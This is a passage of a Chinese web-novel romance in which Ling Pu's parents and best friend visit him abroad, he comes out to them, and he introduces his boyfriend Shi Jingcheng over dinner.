【程益添:细思极恐。他上回就莫名地送我那么珍贵的专辑,现在又忽然给我发这么多钱,你说他会不会是想包养我,之前你和我怎么说来着,他是不是私生活很混乱】 【程益添:我也觉得我有几分姿色】 【程益添:/图片】 凌蒲沉默地看着程益添这张自拍,自拍的视角十分直男,从下朝上仰拍,可以看到两个鼻孔。不过即使抛开好友滤镜,凌蒲也觉得程益添十分英俊。 他迅速引用了这张图片,并发了三个大拇指。 接下来把屏幕逐渐下拉,看到了程益添逐渐推理出时璟承其实是想泡他,但是程益添是直男,但是对方给的真的很多,但是程益添还是直男 等一系列脑回路。 “你给程益添发十倍红包干什么。”凌蒲抱怨,“这对他来说很突然。” “还给他。不然你对他越来越崇拜。” 时璟承冷静地开着车。 凌蒲看着手机,觉得简直是想烫手山芋一般,一切都脏了,他认为时璟承肯定不会想到事情会如此发展,不过对于他和程益添来说,这样的脑回路实属十分正常。 于是凌蒲也和对方聊起来,先挑比较好澄清的说。 【/粽:程益添,之前情报有误,其实时璟承很专一的。消息可靠,听他身边朋友说的。】 【程益添:你的意思是他对我很专一?那我该怎么办?】 凌蒲觉得很好玩,又和程益添扯了一大堆,坐在按摩座椅上笑得嘻嘻哈哈。 直到从后视镜对上时璟承的眼神,赶紧又强调:“时璟承你最重要!独一无二。” 时璟承鬼使神差:“如果我和程益添同时掉进水里,你先救谁?” 此言一出,整个车里都陷入淡淡的安静。凌蒲没有想到时璟承会问出这样的问题,时璟承同样也没有想到自己能够问出这样的问题。 车子继续行驶,两人都假装无事发生。 【程益添:说回之前的,你为什么打工了?在那边生活的好不好】 【/粽:非常美妙!我只是体验一下,感觉还挺有意思的】 【程益添:学生签证应该比较好通过,等我有空过去看你】 【/粽:一言为定,到时候我带你玩】 凌蒲热情得十分习惯,因为生活实在是充实,所以很快就把其他事情抛之脑后。 直到钱芷,凌逸飞,还有程益添出现在机场时,他才意识到这一切真的发生了。 这天的天气特别好,一切阳光明媚,凌蒲赖了会儿床,悠悠哉哉地醒来,和时璟承一起去上学。 就接到了一个奇怪的消息,是钱芷,凌逸飞的合照,然而又不止他们俩,还有一个程益添,还没来得及想出来为什么这三个人像一家三口似的玩到一块时u,凌蒲忽然发现背景有点眼熟。 于是他冷静地放大放大再放大,震惊地发现这正是他这附近的机场。 【/粽:?】 他发现自己进入了一个新的群聊,群聊成员一共有四人,正是上述照片里的各位,以及他。 【钱芷:没有想到吧粽粽,我们来看你了!给你带了特别多国内你喜欢吃的,估计你在这边也没有吃好,什么时候下课呀,我们打算先到附近的酒店住下,等你晚上下了课再说】 【凌逸飞:儿子,爸爸专程把这位好兄弟给你带过来了,我觉得你在国内最想的肯定是他,没想到签证下得还挺快。】 【程益添:啊哈哈哈哈,我来了】 这三人在群里打趣,亲密得真如同程益添是他俩儿子,只有凌蒲处在状况之外。他第一反应确实是挺高兴,但很快就发现自己身旁的时璟承,他知道,可以在程益添面前出柜,也迟早要在父母面前出柜。 但这一切并不能同时发生。他的大脑完全宕机,一切都太快了。 【/粽:你们在哪儿】 【程益添:位置共享】 凌蒲看着好那几个小点,默默打出一串儿“?????” 再跑到厨房区找时璟承,惊慌失措:“时璟承,大事不好了,怎么办啊!” 第139章 凌蒲想起自己初到的经历,不敢多耽搁,立刻坐着时璟承的车,匆匆朝机场赶。 “你和我一起下去吗?”凌蒲推开车门的前一刻,问时璟承。 时璟承思索片刻:“你知道具体位置吗? 之前钱芷和凌逸飞给凌蒲发了他们的图片,就在机场这边。凌蒲挺眼熟,但他不确定能不能找到。 于是求助时璟承:“你和我一起呗。” 他急切地打开车门,被风吹了个哆嗦。 “外面这么冷?”刚才直接从室内出来,身上就一件单薄的内搭。 “最近温度低。” 时璟承下了车,把外套脱给凌蒲穿。凌蒲自然地接过来,朝身上一披一套,拉链拉上。 “谢了!” 凌蒲拉着时璟承一起按照照片比对,看了一圈,忽然指着机场的KFC道:“诶!在那儿!” 还挺好找。毕竟程益添是个帅小伙儿,钱芷和凌逸飞看上去比同龄人年轻不少,虽然上了年纪,但也是气质出群。 时璟承抬眸看了看,轻轻挣开凌蒲的手:“你去吧,我在这等你。” “他们竟然偷偷吃肯德基不带我,太过分了行,一会儿来找你。”凌蒲奔跑而去。 KFC充满欢乐氛围,主要还是小孩子在叽叽喳喳,一进门汉堡的肉香和蛋挞的甜香混合而来。而凌逸飞他们桌上的美味套餐已经所剩无几,程益添没心没肺地吃喝,和一家三口似的。 凌蒲默默握拳,抱臂站在桌边。 竟然没人注意到他。 凌蒲清了清嗓子:“喂。” 三人一转头,才看到了凌蒲。 乍看差点没认出来。其他倒没什么大变化,眼神还清澈得单纯,为点小事假装气鼓鼓。只是这身穿搭实在陌生。 以前卫衣和卡通图案不离身,钱芷让他换一身和要了命似的,现在就穿得不错,虽然也宽松随意,但让钱芷这个时尚界人士都挺满意。 在辨认之后,程益添立刻跳起来,给他一个大大的拥抱。 “我去,跑这么远干嘛,也太想你了!” 凌逸飞拍了拍凌蒲的肩膀:“有没有想家?“ 钱芷则认真摸摸儿子的脸,看来不是视频里显宽,凌蒲的小脸确实没瘦也没干巴,依然很水润,带着健康的光泽。 状态也不错,活蹦乱跳的。 大家难以置信地又在肩膀和胳膊捏捏,确认还真是,精神和身体上似乎都没有遭受虐待。 “怎么去打工了,钱不够了吗?” 凌蒲回答不过来,但却是发自内心的高兴,很快就笑起来,讨论这一路的新鲜事儿。 然而每件新鲜事总离不开时璟承,凌蒲抿了抿唇,道:“妈妈,你不是顾乾的粉丝吗,我和你说” 一转头,却发现方才时璟承站着等他的位置已经空无一人。 凌蒲有点慌。 “怎么了?”钱芷沉浸在见到儿子的欣喜中,也没太在意别的,只催促着凌逸飞,“快给粽粽点一份,平常爱吃的都点上,粽粽你要汉堡还要鸡肉卷?” “都行。”凌蒲变得心不在焉,“你们先吃,我去趟厕所。” 他转身便摸出手机,躲到隐蔽处给时璟承打电话。 “喂!时璟承!” 那边倒是接通挺快,传来时璟承的声音:“嗯?怎么了。” 语气很意外,但让凌蒲放松下来。 “你怎么走了?说好等我的嘛。”凌蒲兴师问罪。 时璟承说:“外套脱给你了,冷。” 一句话把凌蒲的嚣张气焰都浇了个无影无踪,他低头看着自己身上的外套,嗅起来还有淡淡的松柏香,小声说:“那你躲到车里吧。一会儿我打算向他们介绍你。” 电话沉默了一下,时璟承问:“打算怎么介绍我?” “看你嘛。你要不想的话就说你是朋友,你要是想那啥的话,就直接和他们说好了。” 凌蒲抠抠墙,后面的声音变得有点弱。 时璟承没再说话,传来极轻的声音,像是叩击什么,或是在摩挲某个摆件。他车上的摆件都是凌蒲布置上去的,材质清楚得很,总之硬是从嘈杂的环境里分辨出了时璟承细微的不安。 凌蒲不由夸下海口打包票“你放心。他们不接受的话,我和他们闹闹就好了。” 时璟承笑了声:“凌蒲。你从小到大,没有被父母阻止的事情吗?” 凌蒲开始回想,从小凌逸飞和钱芷都对他挺纵容,自由度高,但也不是干什么都行。 倒也没什么巨大的冲突,因为每次这两人说出不可以,凌蒲便会乖乖妥协,不浪费时间去唱反调。 他也搓了搓衣角,明白时璟承的意思。 其乐融融的氛围或许会被这件事打破,更糟的就是家庭和时璟承被放在天平的两端,如果真要让他二选一,可能一时间真不知道怎么办才好。 得想想。凌蒲醒悟过来:“先不能说。” 时璟承没说话。 凌蒲补充:“我不是说永远不说,而是有策略,有计划地说。你放心好了,我爱你时璟承。” 这三个字凌蒲常说,除了某些重要场合凌蒲突发羞涩说不出口,他时时刻刻都在对时璟承表达毫无掩饰的喜爱。 就像对家人一样,顺理成章。 “那我先回去了。”时璟承说,“等你。” 意外收获了最后两个字,凌蒲美滋滋:“等我。” 挂了电话他便开始思索,决定先从好兄弟程益添下手,策反一个做内应,才能让计谋更好地成功。 他回到桌子旁,心事重重地吃了一个汉堡,半个鸡肉卷,还有两个蛋挞,一对奥尔良烤翅,几个鸡块,终于勉强盘算了个计划。 “粽粽,我们以为你今天有课,自己定了个酒店。今晚你也回去好好歇歇。”钱芷和凌逸飞见他吃的差不多,便催他去休息。 “别啊,粽粽你去我房间,今晚和我一块儿住。”程益添勾肩搭背。 “别叫我粽粽。”凌蒲婉拒,他和程益添说过好多次。 他觉得这个小名由于羞耻而过于亲密,除了凌逸飞和钱芷之外的人叫就有点奇怪。 即使是程益添这个超级好兄弟也不行。 钱芷同意:“那你俩先回去,我们想再转一转。你们能不能自己回?” “当然可以了。”凌蒲打包票,“我都在这里生活一段时间了。” 他也揽着程益添,亲亲热热准备和他回去。毕竟好久没见,有无数的话题讲都讲不完。 出了KFC,一抬头没想到时璟承没走,对上眼神。 时璟承并没太多反应,不咸不淡地对视了下,目光落在程益添和凌蒲接触那一部分。 凌蒲本能地松开手,但不明所以的程益添把他揽得更紧。对面的时璟承似乎并没有在意,朝凌蒲举了下车钥匙,转身走了。 “怎么心不在焉的?”程益添不满,“都这么久没见了,没想我?” “我们不是每天都有聊天吗?你都给我发一堆,你那个社团主席现在怎么样了,还刁难你吗?” “我去,我和你说” 几句话便立刻弥补了分别这么久的时间,依然无话不谈。 谈着谈着,凌蒲试图切入主题:“咳咳,程益添,你最近有没有谈恋爱啊。” 他自认为轻松随意,但实则忽然肩背笔直,像棵小松树,看起来有些紧张。 “谈恋爱哪有打游戏有意思,问这个干什么?” 程益添感到莫名其妙。 凌蒲抠了抠衣服角,鼓起勇气:“我谈恋爱了!” 程益添瞪大眼睛,还没来得及有下一句,凌逸飞钱芷忽然从身后的门里出来:“我们还是不放心你们自己走,一块儿回去吧。” 凌蒲收声,但那程益添和傻子似的,水獭一般缓缓转头:“你谈恋爱了!” 被凌逸飞和钱芷听了个正着。 “粽粽谈恋爱了?” 两人连忙赶来。 凌蒲快被气晕,对程益添说:“你怎么不拿个大喇叭喊。” “不好意思,我真没注意。”程益添先道歉,接着宽慰道,“没事,早都成年了,叔叔阿姨这么开明,有什么大不了的。” 开明的凌逸飞和钱芷对他谈恋爱确实没意见,只是都有些不太相信这事儿。他们眼里凌蒲就是那种不解风情的小学生性格,他们也没想过早催促什么。 这倒是一意外之喜,谁家小女孩包容度这么高。 但紧接着,又有点疑惑,照理说凌蒲所有事情都会毫不遗漏地和他们分享,连隔壁同桌的水杯很酷都一清二楚,这怎么还忽然有秘密了。 更令人惊疑的是,凌蒲竟然飞快捂住了程益添的嘴,制止对方继续说下去。 钱芷不由和凌逸飞对视一眼,犹疑道:“怎么了粽粽,有什么不好说的。” 她担心起来:“女孩子不会有什么特殊吧,是哪方面有缺陷吗?还是年龄比你大很多岁,大概多少?还是外国人,是非洲人吗?” 钱芷屏住呼吸,握紧凌逸飞的手,害怕这个数字自己无法承受。 凌逸飞赶紧笑着缓解氛围:“可以了,只要没给你带个男的回来,就偷着乐吧,是不儿子?” 凌蒲微微一僵。 他向来不怎么会说谎,尤其是在钱芷和凌逸飞面前。而钱芷和凌逸飞恰能读懂凌蒲一切微表情,从这个小小的停顿,就立刻推断出什么。 钱芷把凌逸飞抓得更紧。 这回连凌逸飞都不太淡定:“真是个男生啊?你搞什么呢,凌蒲,可别把国外那一套乱七八糟的学回家啊。” 唯有程益添还在状况之外,逐渐震惊。 他从来没有怀疑过自己的好兄弟是个gay,而且即使是个gay也应该早点和他说吧。不对,好像确实是第一个和他说的,只不过他不小心给人家暴露了。 程益添又飞快地愧疚起来,他来不及震惊,先行劝解。 “叔叔阿姨别急,先听凌蒲说说,慢慢解决,慢慢解决。” 外面寒风吹着,众人站在原地,每个人此刻的想法都不一样,但都是五味杂陈。 程益添拢了拢衣服,建议道:“要不我们回酒店说?这样正式一点,也温暖一点。” 几人在车上一言不发,只有程益添和特工似的一点一点挪动屁股和胳膊,成功抽出手机,悄摸摸给凌蒲发消息。 【程益添:对不起凌蒲】 凌蒲手里的手机震动一下,他拿起来。 【/粽:你这个大喇叭/难过】 程益添手机也立刻响一声,在寂静的车内这一唱一和特别刺耳,他尴尬地清了清嗓子,迅速点了静音键。 【程益添:我会想办法弥补的。不过你啥时候喜欢男的了,对象是谁啊,这里找的吗?我认识吗?】 【/粽:是时璟承。】 【程益添:?】 第140章 程益添恍恍惚惚。 更意外的是他竟然没有想象中那么意外。 仿佛一切早就有迹可循,之前那点异常和隐隐约约,还有凌蒲莫名的“我打算让他先甩掉我”,都豁然开朗起来,之前从来不敢朝这方面想。 脑海中放电影似的,出现时璟承和凌蒲站在一起的画面,其实还挺登对。 他努力制止自己的这种想法,但也因此而掉线,没能接收到凌蒲的协同作战邀请。 凌蒲只能自己独自作战,慢吞吞地蹭到钱芷身旁,拽拽她衣服。 钱芷不理会他,冷着脸下了车,一路去办入住,都没什么表情。而凌逸飞从刚开始的震惊中回神之后,倒是冷静了些,问凌蒲具体情况。 凌蒲便坦白:“没有什么情况,就是喜欢上一个男生,从高中时候就开始了,不是在这边才认识的。” “不是。这还校园恋爱,这么浪漫?” 凌逸飞又没个正形,钱芷瞪他一眼。 “这天生的,咱儿子就这样,没办法。不知道谁给你的基因,祖上应该也没有吧。” 凌蒲知道凌逸飞只是装作很轻松,等到了房间里,让掉线中的程益添先回避,凌蒲便一五一十地把一切都告诉钱芷和凌逸飞了。 主要是出于坦诚和信任,在心底最深处,凌蒲相信他们不会为难自己,不会让自己走上天平的选择台。 从高中相识开始说起,比之前要和时璟承说的还多了一部分故事。 要知道他和时璟承那段分别时间的故事到现在都没和时璟承絮叨完,这再加一部分更是滔滔不绝如黄河水。 有青涩,有忧伤,有欢乐,有怅然都被凌蒲这张会讲故事的嘴巴描述得绘声绘色。 钱芷和凌逸飞听得一愣一愣,身临其境般跟着儿子一起经历这一部分。他们之前以为对凌蒲的了解已经是百分之百,犹如阅读透明的纸张,但没想到还有这样被偷偷遮盖起来的。 那么多时刻,都是自己一个人过来的,想想得有多无措。 “你真有点过分了,再怎么样不能玩弄别人的感情开玩笑啊。”凌逸飞适时点评道。 “诶呦,我那个时候不知道嘛。”凌蒲有点害羞,“我以为他交过很多女朋友。” 他自动马赛克掉了时璟承的姓名和其他可能暴露身份的细节,不过保留了关键情节——很帅,非常帅。 每句描述里都充斥着大量形容词,让一直一言不发的钱芷也终于无奈地摇了摇头。 “我当年就是个颜控。从你小时候就知道你遗传了这一点。” “颜控没什么不好。你不就找到我了,要不颜控的话还不是我呢,我俩多幸福,还有一个好儿子。” 钱芷和凌逸飞又拥抱在一起,凌蒲叫停:“继续听啊,故事没有这么简单。” 后面的波折更加跌宕起伏,在解开种种误会之后,他和时璟承度过了一段完美而欢乐的时光,但是天有不测风云,人有旦夕祸福 “能先喝口水吗?”凌逸飞问。 凌蒲允许:“喝吧。” 中场休息,钱芷和凌逸飞去喝水吃茶开小会,凌蒲想起了隔壁的好兄弟。 过去敲敲门,邀请他一起来听。 “为什么是时璟承?”程益添还纠结这个问题,“他不是那种很坏的富二代吗?上次还忽然给我转了笔钱来着。” “他一点都不坏,只能是时璟承。” 凌蒲回答得很肯定,程益添便不再说了。 “正好讲到你知道的前情部分,你不是想知道后续吗,快来。” 在凌蒲的盛情邀请之下,程益添也坐上了小板凳,和钱芷凌逸飞一起聆听。 凌蒲抿了口水,继续娓娓道来,在说道痛心分手环节时,下面的听众无不面色凝重,但后来说道决心努力学习,向对方靠近时,大家又露出了赞许的神色。 “这是因为他真的很帅,就是我本来想着我们可能不是一路人,很难走到一起。但只要看到他的照片,想起他的脸,我就发现满脑子都是他。不是肤浅的帅气,而是和内涵结合在一起的。比如以前的我可能觉得当时班长也挺帅的,但在和这个人在一起之后看其他人好像都一模一样。” “说起这个班长,也很奇怪。之前好像和这个人特别不对付,但在这个人走之后,他却会像这个人一样给我讲题” “可以用个代号吗?”程益添举手,“听起来有点费解。可以像讲解哦电影主播那样,来一个小帅或者小美什么的。” “他不是小帅,他是非常帅。那我们就叫他小A。”凌蒲随口说。 又继续讲下去:“班长好像和小A的讲题方式很像,有时候还会给我补充资料,就是有种很熟悉的感觉,我特别感谢这个班长。” “会不会是小A走之前叮嘱了班长要继续给你讲题?”凌逸飞提出。 这一建设性的话题提出,立刻引起了讨论,钱芷赞同凌逸飞的观点,程益添和凌蒲则倾向于是巧合,真相只能等这位小A来揭晓。 “好了。”钱芷站起身,踏了下发麻的双脚,“打算什么时候给我们见见这位小A,他在哪儿?” 凌蒲不满地皱眉:“我还没讲完呢,后面就会讲到他在哪。” “这天都快黑了。我们也相信你们有感情基础了,我觉得有这样一个人陪着挺好的。听你讲的,有点想起我和你爸年轻的时候了。” 钱芷笑笑,眼角有些温柔的淡纹。 此刻她已经完全没有之前的生气,恢复了平常的摸样:“见见吧。能有这种运气很少见,性别排在之后了。听你的描述,我觉得会是一个好人。” “妈你真好!” 凌蒲高兴起来,给了钱芷一个大大的拥抱,心里的大石头仿佛落了地。 凌逸飞也说:“你爸早就支持你了,你爸不好?” “爸你也特别好。”凌蒲也拍拍凌逸飞的肩膀,又和程益添说,“程益添你也好。” 屋里氛围有所好转,凌蒲不忘再恳求道:“爸爸妈妈,等见了面你们对他的态度能不能好一点。” 钱芷假装生气:“这还没怎么样呢,胳膊肘先朝外拐了,说得好像我俩平常对别人都凶神恶煞一样。” “不是。”凌蒲连忙道,“他从小跟着哥哥长大,相依为命,需要关爱。” 语气可怜巴巴,让钱芷和凌逸飞脑海中一下就出现一个孤独无依的小孩,他们家凌蒲是在爱与阳光下长大的,这么说确实该多关照一点。 只有程益添恍恍惚惚,没有把时璟承这个冷酷无情又有钱的公子哥和那个相依为命的可怜人画上等号。 “那我们去给他买点礼物。”钱芷和凌逸飞很快商定。 “我也得买。”程益添冒出来一句,“正好我还欠他一点。” 之前那个签名还有莫名的转账,现在是明白了,帮凌蒲打关系呢。现在既然对方已经正式和凌蒲确定了关系,那作为凌蒲的娘家人,他理所当然地该还个礼物回去。 于是如同自动跟随的角色一样,心不在焉地跟着钱芷和凌逸飞一起去商场,自己还在默默消化这个消息。 而凌蒲早就已经高兴得找不着北,他竟然就这么解决了这个问题。自从高中发奋开始学习并达到目标之后,他仿佛打开新世界的大门,发现很多看似不可能的东西都可以靠努力解决。 觉得电话不够正式,于是先暂时不参与够买礼物环节,一路赶回家,想要给时璟承一个惊喜。 他风尘仆仆,只恨公共交通工具不能再快一些,最好长翅膀飞起来。 带着这股劲儿冲到家门口,掏钥匙开门,叫喊着时璟承的名字。 “时璟承!时璟承!” 他叫了一圈,回头才发现时璟承坐在沙发上,静静看他,优雅地翘着二郎腿,衣冠楚楚,和看表演似的。 凌蒲不满道:“你怎么不出声?” 时璟承不置可否,他觉得这些环节很可爱,凌蒲常常有这些可爱的小环节,把内心坦坦荡荡地展露在他人面前,像是午后温暖的阳光照耀透明的湖泊。 “急急忙忙的,怎么了?” 凌蒲先坐下,凑近认真看着时璟承:“我觉得你今天有点不高兴。” “没有。”时璟承朝后仰了下头,把凌蒲的脸朝边上推了推。 然而在接触的一瞬间,发现手感有点冰,像是软软的冰块,于是转而贴上去:“怎么这么冰?没带帽子吗。” “你为什么不高兴啊时璟承,你是不是真担心我抛下你。”凌蒲认真,“我不会这么做的。” “不是。” “那你是看到我们,想你哥哥了吗?” “不是。” “我知道了时璟承。你是不是觉得和我在一起可能会破坏我完美的家庭,让我为难?”这回凌蒲非常自信。 “也不是。” 凌蒲没气馁,继续乱猜一阵。 “那你就是没来由的有点伤感,没事的。” 最后,凌蒲给时璟承下了这样的诊断。 时璟承笑了笑,从口袋里掏出个手办:“在商场等你的时候买的。” 这又把凌蒲感动得热泪盈眶,刚才的话题也被岔没了,专注于对时璟承科普有关于这个手办的知识和由来。 放到自己的手办模型大家庭去,现在已经积攒了满满一桌,比刚来时壮大不少,大多都是时璟承的功劳。每次去外地做项目或者只是简单路过商场,都会给凌蒲买一个。 开始偷偷放进去,但被每隔一段时间就视察的凌蒲很快发现,索性直接给他。 凌蒲窝在时璟承怀里,玩着手里的东西,睫毛一眨一眨。 “你刚刚要和我说什么事?你介绍我了吗?” 这时候时璟承才开口问,凌蒲觉得他可能是有意拖延,需要做心理建设。 于是他也稍微卖了卖关子:“没有详细介绍你,真实身份怕吓到他们。但因为出场需要,我给你命名为小A,毕竟我在这里的生活总是和你有关,压根离不开你,只能把你带上了。” “嗯。”时璟承应了一声。 “那我爸妈肯定要问了,小A是你什么人啊,好朋友还是舍友啊,在你的生活里出现的频率这么高。” 凌蒲模仿那些大人讲话,煞有介事的腔调,“你们到底是什么关系啊?” 他停顿一下,看着时璟承:“你猜我怎么说的?” “好朋友吧。” “不是。” “同学?” “也不是。” 时璟承不说话了,凌蒲自己先憋不住:“你是我男朋友。时璟承,你之前不是许过愿吗,以后只要有人问这个问题,我就要说你是我男朋友。”《 》 第141章 (正文完) 第141章 趁着凌蒲回去接时璟承,剩下的房间里也在进行凝重的三人会议。 “叔叔阿姨我真的刚知道。”程益添百口莫辩。 钱芷和凌逸飞不太相信:“你和凌蒲天天混在一块儿,他能保密的这么好?” 程益添道知道是时璟承,但他不想这件令人震惊的事情从他口中说出,还是留给凌蒲去震撼。 于是转移话题,回想:“天天混在一块,那还是高三之前的事情了。后来他转学走了,我们只能靠线上联系,以前我们之间毫无秘密,我什么事情都会告诉他,他也会把所有事情都告诉我,唉自从转走之后,我就隐约察觉到凌蒲确实有点小秘密,但也没朝那个地方细想,只以为我们还是在没血缘关系里最亲近的人” 他说着说着长篇大论没完没了,最后凌逸飞和钱芷只得匆匆打断。 “好了,相信你了。”两人安慰,“凌蒲可能有他的顾虑。你肯定是他最好的朋友。” 三人也没商量出个所以然,决定先去定的酒店,以最饱满的姿态迎接这位神秘人士。 氛围有点僵硬,还是得靠程益添找话题。 “阿姨,您来的路上是说想看顾乾的首映礼见面会是吗?这热搜上好像说要抽取一个幸运奖。” “哪有那么幸运?这票很难拿的。”钱芷果然被引起兴趣,“我上次抢到票还是好多年前了,本来顾乾拍电影的频率就不是太高。” “您喜欢顾乾这么久?”程益添不由好奇。 旁边凌逸飞纠正他的措辞:“那叫粉丝,什么喜欢不喜欢的,你钱芷阿姨喜欢的只有我。” “那是那是。”程益添忍不住笑道,“不过阿姨,到底是什么能吸引您作为顾乾的粉丝这么久啊,我身边那些同学的热度也就持续一小会儿。” “这挺难说的。年轻时候不好说,现在可能就是种习惯吧。不过也就属于兴趣爱好那一部分,最爱的确实还是你凌逸飞叔叔。” “还不好说呢,就是看脸。”凌逸飞补充。 程益添一边和他俩笑着,一边在心里腹诽,那还真是遗传下去了,凌蒲那小子多半也是看脸。 他悄悄摸出手机。 【程益添:蒲,到哪了?】 【/粽:已在路上,很快就到了】 那边还发过来一张图片,是凌蒲和正在开车的时璟承的合照,时璟承没什么表情,凌蒲还笑得没心没肺,车窗外的阳光照在两人身上,又让程益添产生了好登对的想法。 他摇摇头。 【程益添:受不了你了。】 【程益添:我刚打听了,你让时璟承给阿姨弄张顾乾首映礼的票。绝对投其所好。】 【/粽:我去,程益添你真是我最好的朋友/亲亲】 “/粽”撤回了一条消息。 【/粽:我去,程益添你真是我最好的朋友/握手】 【程益添:】 三人没等太久,很快包间的门就被服务生打开。 引进来的首先是兴高采烈的凌蒲,不过暂时没有人把目光放在他身上,而是都瞄准身后那个人。 高,帅,身材好,穿搭有品,乍看和模特似的。 细看更不赖,一头乌黑的头发富有光泽,眉目英俊逼人,但嘴唇挺温柔,很好地中和了面部线条,而且主要是自带一种气质,这么年轻的年龄就能把大衣衬得矜贵,不过似乎有意收敛了攻击性,彬彬有礼。 总之朝这一站,整个空气都一片安静。 钱芷和他儿子一样都是颜控,先被帅了一下,再细看,总觉得怎么看怎么眼熟。 于是本能地脱口而出:“你长得好像” 但忽然意识到这是拐跑凌蒲的人,现在又是凌蒲第一次领他回来见家长,这么说好像特别不妥,于是想着怎么把这句话拐回打招呼上。 没想到这个小伙子点点头;“像顾乾是吗?很多人都这么说。阿姨好。” 钱芷顺势打招呼:“你好。不好意思刚才有点失礼。 但接下来听到的又让他不淡定起来:“没事很正常,因为顾乾是我哥。” 眼看钱芷陷入挂机状态,凌逸飞接过话题:“啊?小时候凌蒲和顾乾还有他弟一起上过综艺啊,那个总是冷着脸Q|Q的小男孩,是你什么人?” “就是我。”时璟承说。 凌逸飞才意识到,也是,凌蒲都长这么大了,按道理来说那小男孩确实和时璟承年龄相仿。 这是什么一种缘分,记得当年凌蒲下了节目发烧了好几天,一直都念叨那个小孩。但当时人家是顾乾的弟弟,和凌蒲的身份差别实在太大,注定当不了好朋友。 谁能想到现在又在这样的场合见面。 凌逸飞沉思之际,程益添略微僵硬地打了个招呼。 他还记得之前是怎样让凌蒲远离时璟承的,也不知道凌蒲有没有和时璟承说。 “程益添。” 时璟承很准确地叫出了程益添的名字,程益添也不知道自己为什么会有种受宠若惊的感觉。 屋里保持着整体静止状态,只有凌蒲不明所以,过去挨个看看,和激活角色似的,尤其在他爸妈之间戳了下,小声说:“你们答应我什么来着。” 凌逸飞和钱芷反应过来,把其他都给忘了,就切换成热情模式,和以前欢迎凌蒲那些朋友似的欢迎时璟承。 时璟承向来不怎么喜欢说话,但在这顿饭上有问必答,还会恰到好处地抛出话题,不知不觉间整个饭桌的节奏都被他掌控着,大家都吃得挺舒服。 当然最舒服的还是凌蒲,该处理切割的都被时璟承切割好,给他投喂到盘子里,只管吃就好了。 钱芷看儿子这么依赖别人有点不是滋味:“凌蒲。你看你这样,不知道的还以为有什么智力问题,切个牛排都不会切。” 凌蒲正投入地品味多汁牛排,闻言抬起头,脸颊鼓起一块,嘴角还残余着汁水,无辜地看着钱芷。 和一旁年轻有为的时璟承形成鲜明对比,钱芷恨铁不成钢。 “就知道吃。” 遭遇无妄之灾的凌蒲略有委屈,转头望着时璟承。 “阿姨说你嘴角沾油了。”时璟承用餐巾纸自然地替凌蒲擦了擦,“继续吃吧。” 他抬起头:“阿姨。我哥过阵子电影首映礼,给了我几张票,但我在这边走不开,不知道您有没有时间替我去捧场?” 钱芷一愣。 “就是位置在第一排,您要是觉得不方便的话可以朝后调一下。” “方便方便。”钱芷答应道。 于是时璟承当场就操作,把邀请函和入场码都发给钱芷,两人互加联系方式,围绕顾乾的交谈变得其乐融融。 “那你哥那边能接受凌蒲不?不会有什么刁难吧?”钱芷忽然想起。 “不会的。我外公身体不好,已经办理了他的遗产继承手续,我有独立的能力。”时璟承说,“等回国就带凌蒲去见我哥,他们会很喜欢的。” “那就好那就好。” “到时候安排大家一起吃饭。” 钱芷和凌逸飞不由想象他们和顾乾一桌吃饭的样子,觉得有点荒唐,不过抛开这个不提,他们对时璟承各方面都挺满意,挑不出什么错误。 临别时时璟承说:“我们家里挺大的,叔叔阿姨可以一起去住。” “改天吧,已经定了一晚上的酒店了。明天有空去看看。” “那凌蒲是跟着你回去,还是跟着我们去酒店?”凌逸飞忽然冒出这么一句。 “看他自己。” 凌蒲正戳在程益添旁边看他打游戏,闻言挥挥手,顺口道:“你们去吧,今晚我想和程益添一起住。” “好的。” 时璟承说道,经过凌蒲时,轻轻捏了下他的后脖子:“玩得开心。” 得意忘形的凌蒲一个激灵,立刻抬头。 “我能和程益添一起住吗?” “可以。”时璟承宽容,“真的可以,你们很久没见面了。” 他拿起自己的外套先离开,凌蒲又看了一会儿打游戏,和程益添一起回他们的酒店。 “我靠,凌蒲。到底是怎么回事儿?快点和我说说。” 一进门,程益添就把打到一半的游戏丢到一边,迫不及待地问。 凌蒲道歉:“我没想瞒着你,只是我之前也不知道。你还记得我俩小时候青梅竹马…” “打住。这一点我刚才和叔叔阿姨一起听过了。”程益添打断娓娓道来。 “诶呦,那就没有啥了嘛。反正这次是认真在一块,没有别的了。” 程益添震撼地看着凌蒲竟然露出了点害羞的神情。 “算了。之前说过,不管怎样都支持你。这个消息还得再消化消化…我俩还是一块打游戏吧。” “行。”凌蒲蹦跶起来,“不过我可能得早点回去。时璟承不高兴我在外面过夜。” “他限制你?”程益添敏感。 “不是。他不限制我在外面过夜,但是我晚上不回去他会不高兴,有可能是默默不高兴,反正不行。” “好吧。” 程益添不再多问,和凌蒲一起打游戏。 但凌蒲游戏水平实在太菜,每次挂的都特别早,得等待很长时间才能和程益添一起进入下一关。 毕竟久别再见面,程益添暂时不好意思骂他,不过不想带他的意思还是暗戳戳。 凌蒲独自趴在旁边等,看着看着,上眼皮就朝下眼皮粘。 今天很累,中午又没有睡觉,强烈的困意控制不住地袭来,不知什么时候脑袋一歪,在被子上失去了意识。 再睁眼时,程益添依然坐在桌边鏖战,然而摸过表一看,才吃惊地发现都已经快到午夜,这简直比鬼故事还要吓人。 凌蒲瞬间跳起来,头发还乱七八糟,过去拍拍程益添:“你怎么不叫我。” 程益添战得正嗨,耳机塞在耳朵上,头也没转地匆匆敷衍:“下一把带你。下一把带你。我这局到关键时刻了,先等一下。” 键盘和鼠标敲得噼里啪啦响,凌蒲知道指望不上,看了下距离,还是准备拦辆计程车回去。 这时候程益添才终于良心发现,摘下一半耳机:“诶凌蒲,这么晚了哪儿去啊。” “回家。到了给你发消息。” 凌蒲留下一句话,快步急着离开。 等气喘吁吁地赶回去,打开家门,果然看到屋里灯火通明。 心虚地走了两步,却并未遭到盘问。就看见时璟承仰靠在客厅的沙发上,闭着眼睛,眉心微皱,似乎已经睡着了。 凌蒲大着胆子观察他。 不论相处了多久,凌蒲始终觉得时璟承帅得过分,从小时候到高中再到现在,他相信在不管多久以后,青年或者是中年,不管变成什么样,他都会一直觉得很帅,看一眼就会心动。 可能对方就是按照他审美长的,或者他审美点就是按照时璟承长得。 在脸上盯了许久,才反应过来,又继续朝下看。 把对方的手拉起来,上面还完完整整地套着那个戒指,当年高中愚蠢地送了对戒,没想到竟然会以这样的方式戴在时璟承手上。 凌蒲总觉得指头上套个东西不太舒服,脖子上又已经挂了时璟承的玉坠,便一直丢在文具盒里。 但时璟承总是戴着。 他借着灯光摸了两下,仔细观察,忽然发现银色戒指上面有个意思粽子的小小标记,这是他以前没有注意过的。 